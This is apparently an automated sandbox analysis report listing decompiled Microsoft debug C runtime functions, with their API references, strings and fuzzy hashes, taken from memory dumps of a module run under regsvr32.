f:\dd\vctools\crt_bld\self_64_amd64\crt\src\errmode.c, xrefs: 000007FEF9D32D13, 000007FEF9D32D4D
_set_error_mode, xrefs: 000007FEF9D32D54
("Invalid error_mode", 0), xrefs: 000007FEF9D32CFE, 000007FEF9D32D5B

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Invalid error_mode", 0)$_set_error_mode$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\errmode.c
API String ID: 2123368286-2972513288
Opcode ID: f8745b700fb78b44b2e658b57c518d69726f466f5def5af1cc34e5c73236fe3e
Instruction ID: 6381d33894c21e9a570bb340808ef8ba759c91e84b1c9252353dd9e19991e7ba
Opcode Fuzzy Hash: f8745b700fb78b44b2e658b57c518d69726f466f5def5af1cc34e5c73236fe3e
Instruction Fuzzy Hash: 64211A31E1D242CAE7E08F28EC44B6E72E1F344395F605536A6CA866B4D77EE944CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32695 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3274D

Strings

string != NULL && sizeInBytes > 0, xrefs: 000007FEF9D326E9, 000007FEF9D32746
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D326FE, 000007FEF9D32738
_vsnprintf_s_l, xrefs: 000007FEF9D3273F

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c$string != NULL && sizeInBytes > 0
API String ID: 2123368286-367560414
Opcode ID: b10b6c40919f833f94f1f9af6a6d465dd1a232ebc9f5396bdae7492d99103452
Instruction ID: a1605579a08129191013953cda15cb2ece86ed32ec4905bca1088ce11b277eda
Opcode Fuzzy Hash: b10b6c40919f833f94f1f9af6a6d465dd1a232ebc9f5396bdae7492d99103452
Instruction Fuzzy Hash: EB114931E0C64A89F7E08B14EC457BE62E0F750385F608525D2DD46AF9CBBEE4888F01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D375E9 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 40COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3769D

Strings

pwcs != NULL, xrefs: 000007FEF9D37636, 000007FEF9D37696
_wcstombs_l_helper, xrefs: 000007FEF9D3768F
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D3764B, 000007FEF9D37688

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _wcstombs_l_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c$pwcs != NULL
API String ID: 2123368286-2992382544
Opcode ID: 4e01e6c780b0bcb150885d639f6c4af62c750d2377cec983ef0e9e7992ea6864
Instruction ID: 6b038216fd5801b421c61b74e1935d340daef546a177eff3ea16a7a1b838ed42
Opcode Fuzzy Hash: 4e01e6c780b0bcb150885d639f6c4af62c750d2377cec983ef0e9e7992ea6864
Instruction Fuzzy Hash: EE112831A08A86D5E7F08B24EC547BE62D0F388355FA0862581DD826E5CF7ED184CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3AFB0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B046

Strings

(stream != NULL), xrefs: 000007FEF9D3AFE2, 000007FEF9D3B03F
_fileno, xrefs: 000007FEF9D3B038
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fileno.c, xrefs: 000007FEF9D3AFF7, 000007FEF9D3B031

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (stream != NULL)$_fileno$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fileno.c
API String ID: 2123368286-3532421942
Opcode ID: 96c485b728b13626416908fd91ead62eaa4a9a456ff5e75182e25aa9e0b6060d
Instruction ID: a908f33eec800d0b641dcce84a446a4f1bc570cb1104d1739574f535c1af449d
Opcode Fuzzy Hash: 96c485b728b13626416908fd91ead62eaa4a9a456ff5e75182e25aa9e0b6060d
Instruction Fuzzy Hash: 2D115771A2D6468AE7949B54E948B6E73E0F380344F605125F6DD43AA8C7BED508CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D37E4E Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 38COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D37EF4

Strings

(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0), xrefs: 000007FEF9D37E90, 000007FEF9D37EED
_wcstombs_s_l, xrefs: 000007FEF9D37EE6
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D37EA5, 000007FEF9D37EDF

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c
API String ID: 2123368286-152112980
Opcode ID: 12ab011e70e09e91856032674ad216f6478f48f1fa811ad172dce2a736ade8bc
Instruction ID: 92758ea50bb160a3fa02acdedbd4276cd578df270f1ec03c6948689f63d256e2
Opcode Fuzzy Hash: 12ab011e70e09e91856032674ad216f6478f48f1fa811ad172dce2a736ade8bc
Instruction Fuzzy Hash: B7110331A1CA83C9F7A09B54EC047AEB6E0F340345F604425D6C8466A4CBBEE8888B02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D234D5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

_calloc_dbg.LIBCMTD ref: 000007FEF9D234F9

Part of subcall function 000007FEF9D24980: _calloc_dbg_impl.LIBCMTD ref: 000007FEF9D249C6

FlsSetValue.KERNEL32 ref: 000007FEF9D23516

Part of subcall function 000007FEF9D23E30: _unlock.LIBCMTD ref: 000007FEF9D23EC2
Part of subcall function 000007FEF9D23E30: _unlock.LIBCMTD ref: 000007FEF9D23F1C

GetCurrentThreadId.KERNEL32 ref: 000007FEF9D2352C

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dllcrt0.c, xrefs: 000007FEF9D234E2

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock$CurrentThreadValue_calloc_dbg_calloc_dbg_impl
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dllcrt0.c
API String ID: 433497747-929597301
Opcode ID: 659d91e782a8862001f0c3efa2abcda19efd609cd314a8a22f2ba95e8e412daa
Instruction ID: a509fa70e7a1a5ff7154c4a485401b757d9bccf253ee3a6eb315a1ba73516cba
Opcode Fuzzy Hash: 659d91e782a8862001f0c3efa2abcda19efd609cd314a8a22f2ba95e8e412daa
Instruction Fuzzy Hash: 25012D21A2C64282F3D09B65EC4473EA2E0F784B50F719275A9DE426F5CF3FE4018A01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3206A Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 35COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D320FA

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D320AB, 000007FEF9D320E5
_vsnprintf_helper, xrefs: 000007FEF9D320EC
(count == 0) || (string != NULL), xrefs: 000007FEF9D32096, 000007FEF9D320F3

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (count == 0) || (string != NULL)$_vsnprintf_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-3131718208
Opcode ID: 6707a3a661624c28ef46bf525b659d524432ea2cd8b3632390f46d17d0644e77
Instruction ID: 5c692777b4ebe1842fa8b4633668c7a74dcbf255a9000a4830a35d89f8dfec26
Opcode Fuzzy Hash: 6707a3a661624c28ef46bf525b659d524432ea2cd8b3632390f46d17d0644e77
Instruction Fuzzy Hash: 64113571E086469AF7A08B28ED047BE62E0F344708F608225A7EC076F5D77EE548CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D31FCB Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 32COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32050

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D32001, 000007FEF9D3203B
_vsnprintf_helper, xrefs: 000007FEF9D32042
(format != NULL), xrefs: 000007FEF9D31FEC, 000007FEF9D32049

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (format != NULL)$_vsnprintf_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-1927795013
Opcode ID: 1d868900bb9e5cb9c38cd3d3fc38e86365b4ebb9b902cb6620b71e05e16b40fa
Instruction ID: 0384ac4a385dd8b2ed67f657b87bd2987707cc06f4fd1891b24df9f5e25f1ad6
Opcode Fuzzy Hash: 1d868900bb9e5cb9c38cd3d3fc38e86365b4ebb9b902cb6620b71e05e16b40fa
Instruction Fuzzy Hash: D7010832E0C646D6F7A08B68EC057AD66D0B380354F704225A69C066F9DB7EE585CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25A25 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D25AAA

Strings

pUserData != NULL, xrefs: 000007FEF9D25A46, 000007FEF9D25AA3
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D25A5B, 000007FEF9D25A95
_msize_dbg, xrefs: 000007FEF9D25A9C

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _msize_dbg$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$pUserData != NULL
API String ID: 2123368286-563024394
Opcode ID: 6b9fa116098faf353e1ca7c3b3c6506904e65b16bd6a9e65c326709190a7893b
Instruction ID: fd38c362069ef75f6546e890191a2209ff1da2573c153e25103ddfba7490d183
Opcode Fuzzy Hash: 6b9fa116098faf353e1ca7c3b3c6506904e65b16bd6a9e65c326709190a7893b
Instruction Fuzzy Hash: EA011A3190964A86EBA09F14EC417AE32E0F355328FA14226D29C466E4DB7FE545CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D325F6 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3267B

Strings

format != NULL, xrefs: 000007FEF9D32617, 000007FEF9D32674
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D3262C, 000007FEF9D32666
_vsnprintf_s_l, xrefs: 000007FEF9D3266D

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c$format != NULL
API String ID: 2123368286-577066449
Opcode ID: 618b2cf93d4d6d117bb096a419223036f434eaf0351198b3217c601cf8511035
Instruction ID: 02d1b78a9e545c30370c255a3c9a69dd209a03738a12318584891449022be9b6
Opcode Fuzzy Hash: 618b2cf93d4d6d117bb096a419223036f434eaf0351198b3217c601cf8511035
Instruction Fuzzy Hash: 8F017831E0C64ACAF7E08B54EC847AD26E0F794394FB09535A6DD466F8CB7EE5448B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27490 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,?,000007FEF9D274F1), ref: 000007FEF9D2749F
GetProcAddress.KERNEL32 ref: 000007FEF9D274BE

Strings

CorExitProcess, xrefs: 000007FEF9D274B2
mscoree.dll, xrefs: 000007FEF9D27498

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: 13d0b91207a4789fb824e3953cfc7806df79015e4e72068d0de0f8a7d22cb74d
Instruction ID: 7d77de13c6c7ff31230b68e177806ee2c45e09dad43843c6dfa61805c8a48305
Opcode Fuzzy Hash: 13d0b91207a4789fb824e3953cfc7806df79015e4e72068d0de0f8a7d22cb74d
Instruction Fuzzy Hash: 97F0AC32918A4282D674DB18F94836DB7F0F388348F644125D6CE42678DF3ED559CA04

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40C80 Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 41%

			E000007FE7FEF9D40C80(signed int __ecx, void* __eflags, void* __rax, void* __r8, signed int _a8) {
				signed long long _v16;
				long _v24;
				void* _t57;
				signed long long _t59;

				_t57 = __rax;
				_a8 = __ecx;
				E000007FE7FEF9D3F900(_a8);
				if (_t57 == 0xffffffff) goto 0xf9d40d05;
				if (_a8 != 1) goto 0xf9d40cb3;
				if (( *( *0xf9d4e560 + 0xb8) & 0x00000001) != 0) goto 0xf9d40ccc;
				if (_a8 != 2) goto 0xf9d40cef;
				_t59 =  *0xf9d4e560;
				if (( *(_t59 + 0x60) & 0x00000001) == 0) goto 0xf9d40cef;
				E000007FE7FEF9D3F900(1);
				_v16 = _t59;
				E000007FE7FEF9D3F900(2);
				if (_v16 == _t59) goto 0xf9d40d05;
				E000007FE7FEF9D3F900(_a8);
				if (CloseHandle(??) == 0) goto 0xf9d40d0f;
				_v24 = 0;
				goto 0xf9d40d19;
				_v24 = GetLastError();
				E000007FE7FEF9D3F7D0(_a8, _t59);
				 *((char*)( *((intOrPtr*)(0xf9d4e560 + _t59 * 8)) + 8 + (_a8 & 0x0000001f) * 0x58)) = 0;
				if (_v24 == 0) goto 0xf9d40d60;
				E000007FE7FEF9D2AA70(_v24,  *((intOrPtr*)(0xf9d4e560 + _t59 * 8)));
				goto 0xf9d40d62;
				return 0;
			}

0x7fef9d40c80
0x7fef9d40c80
0x7fef9d40c8c
0x7fef9d40c95
0x7fef9d40c9c
0x7fef9d40cb1
0x7fef9d40cb8
0x7fef9d40cba
0x7fef9d40cca
0x7fef9d40cd1
0x7fef9d40cd6
0x7fef9d40ce0
0x7fef9d40ced
0x7fef9d40cf3
0x7fef9d40d03
0x7fef9d40d05
0x7fef9d40d0d
0x7fef9d40d15
0x7fef9d40d1d
0x7fef9d40d44
0x7fef9d40d4e
0x7fef9d40d54
0x7fef9d40d5e
0x7fef9d40d66

APIs

Part of subcall function 000007FEF9D3F900: __doserrno.LIBCMTD ref: 000007FEF9D3F913

CloseHandle.KERNEL32 ref: 000007FEF9D40CFB
GetLastError.KERNEL32 ref: 000007FEF9D40D0F
_free_osfhnd.LIBCMTD ref: 000007FEF9D40D1D
_dosmaperr.LIBCMTD ref: 000007FEF9D40D54

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CloseErrorHandleLast__doserrno_dosmaperr_free_osfhnd
String ID:
API String ID: 1551955814-0
Opcode ID: 539147ec8a9783b9fa5ff2985af3543efd94603151f732987cc3c022e13e7d90
Instruction ID: de0ed08be9decc95e7dd14c86c95eccfc4319969b2c7c8741dbc19f533f0ba9a
Opcode Fuzzy Hash: 539147ec8a9783b9fa5ff2985af3543efd94603151f732987cc3c022e13e7d90
Instruction Fuzzy Hash: 4A219F32A0C64686E7A49B28EC4133E72E1F781355F348235E6DD46AF9DB2EE845CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D21000 Relevance: 6.0, APIs: 4, Instructions: 47threadtimeCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32 ref: 000007FEF9D2101D
GetDateFormatA.KERNEL32 ref: 000007FEF9D21038
GetThreadLocale.KERNEL32 ref: 000007FEF9D2106F
GetTimeFormatA.KERNEL32 ref: 000007FEF9D2108A

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: FormatLocaleThread$DateTime
String ID:
API String ID: 3587784874-0
Opcode ID: 6ab24f3c8d7cd050487db91c395009c2fe45c414da0b1ba1062a45228bb8b770
Instruction ID: 0d03bf333fdb9b17262424d59d82d7c7719cce37cb4ba974854027563787c74d
Opcode Fuzzy Hash: 6ab24f3c8d7cd050487db91c395009c2fe45c414da0b1ba1062a45228bb8b770
Instruction Fuzzy Hash: 3311E33160878086E3608F68F94025EB7E0F748BA4F648724EF9D47BA8CB3ED1418700

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2A5E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 198
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 23%

			E000007FE7FEF9D2A5E0(long long __rcx, void* _a8) {
				signed int _v24;
				char _v42;
				void* _v48;
				signed int _v56;
				char _v312;
				signed char* _v328;
				char _v584;
				char _v840;
				char _v1352;
				char _v1384;
				char _v1392;
				intOrPtr _v1400;
				long long _v1408;
				long long _v1416;
				signed long long _t206;
				signed char* _t214;
				signed long long _t223;
				intOrPtr _t225;
				intOrPtr _t226;
				signed long long _t233;

				_t224 = __rcx;
				_a8 = __rcx;
				_t206 =  *0xf9d4b018; // 0x6ed741fe4081
				_v24 = _t206 ^ _t233;
				if (GetCPInfo(??, ??) == 0) goto 0xf9d2a906;
				_v56 = 0;
				goto 0xf9d2a63c;
				_v56 = _v56 + 1;
				if (_v56 - 0x100 >= 0) goto 0xf9d2a661;
				 *((char*)(_t233 + _a8 + 0x470)) = _v56 & 0x000000ff;
				goto 0xf9d2a62c;
				_v312 = 0x20;
				_v328 =  &_v42;
				goto 0xf9d2a68f;
				_v328 =  &(_v328[2]);
				if (( *_v328 & 0x000000ff) == 0) goto 0xf9d2a6ea;
				_v56 =  *_v328 & 0x000000ff;
				goto 0xf9d2a6c2;
				_v56 = _v56 + 1;
				_t214 = _v328;
				if (_v56 - ( *(_t214 + 1) & 0x000000ff) > 0) goto 0xf9d2a6e8;
				 *((char*)(_t233 + _t214 + 0x470)) = 0x20;
				goto 0xf9d2a6b2;
				goto 0xf9d2a67b;
				_v1392 = 0;
				_v1400 =  *((intOrPtr*)(_a8 + 0xc));
				_v1408 =  *((intOrPtr*)(_a8 + 4));
				_v1416 =  &_v1352;
				r9d = 0x100;
				E000007FE7FEF9D2F4D0(1,  &_v1352, __rcx,  &_v312);
				_v1384 = 0;
				_v1392 =  *((intOrPtr*)(_a8 + 4));
				_v1400 = 0x100;
				_v1408 =  &_v840;
				_v1416 = 0x100;
				r8d = 0x100;
				E000007FE7FEF9D2EF00( *((intOrPtr*)(_a8 + 0xc)), _a8, _t224,  &_v312);
				_v1384 = 0;
				_v1392 =  *((intOrPtr*)(_a8 + 4));
				_v1400 = 0x100;
				_v1408 =  &_v584;
				_v1416 = 0x100;
				r8d = 0x200;
				_t223 = _a8;
				E000007FE7FEF9D2EF00( *((intOrPtr*)(_t223 + 0xc)), _t223, _t224,  &_v312);
				_v56 = 0;
				_v56 = _v56 + 1;
				if (_v56 - 0x100 >= 0) goto 0xf9d2a901;
				if (( *(_t233 + 0x60 + _t223 * 2) & 1) == 0) goto 0xf9d2a879;
				_t225 = _a8;
				 *((char*)(_a8 + _t225 + 0x1c)) =  *(_t225 + _t223 + 0x1c) & 0x000000ff | 0x00000010;
				 *((char*)(_a8 + _t225 + 0x11d)) =  *(_t233 + _t223 + 0x260) & 0x000000ff;
				goto 0xf9d2a8fc;
				if (( *(_t233 + 0x60 + _t223 * 2) & 2) == 0) goto 0xf9d2a8e5;
				_t226 = _a8;
				 *((char*)(_a8 + _t226 + 0x1c)) =  *(_t226 + _t223 + 0x1c) & 0x000000ff | 0x00000020;
				 *((char*)(_a8 + _t226 + 0x11d)) =  *(_t233 + _t223 + 0x360) & 0x000000ff;
				goto 0xf9d2a8fc;
				 *((char*)(_a8 + _t223 + 0x11d)) = 0;
				goto L1;
				goto 0xf9d2aa20;
				_v56 = 0;
				_v56 = _v56 + 1;
				_v56 = _v56 + 1;
				if (_v56 - 0x100 >= 0) goto 0xf9d2aa20;
				if (_v56 - 0x41 < 0) goto 0xf9d2a99c;
				if (_v56 - 0x5a > 0) goto 0xf9d2a99c;
				_v56 = _v56 + 1;
				__rcx = _a8;
				 *(__rcx + __rax + 0x1c) & 0x000000ff =  *(__rcx + __rax + 0x1c) & 0x000000ff | 0x00000010;
				_v56 = _v56 + 1;
				__rdx = _a8;
				 *((char*)(_a8 + __rcx + 0x1c)) = __al;
				_v56 = _v56 + 0x20;
				__ecx = _v56;
				__rdx = _a8;
				 *((char*)(_a8 + __rcx + 0x11d)) = __al;
				goto 0xf9d2aa1b;
				if (_v56 - 0x61 < 0) goto 0xf9d2aa04;
				if (_v56 - 0x7a > 0) goto 0xf9d2aa04;
				_v56 = _v56 + 1;
				__rcx = _a8;
				 *(__rcx + __rax + 0x1c) & 0x000000ff =  *(__rcx + __rax + 0x1c) & 0x000000ff | 0x00000020;
				_v56 = _v56 + 1;
				__rdx = _a8;
				 *((char*)(_a8 + __rcx + 0x1c)) = __al;
				_v56 = _v56 - 0x20;
				__ecx = _v56;
				__rdx = _a8;
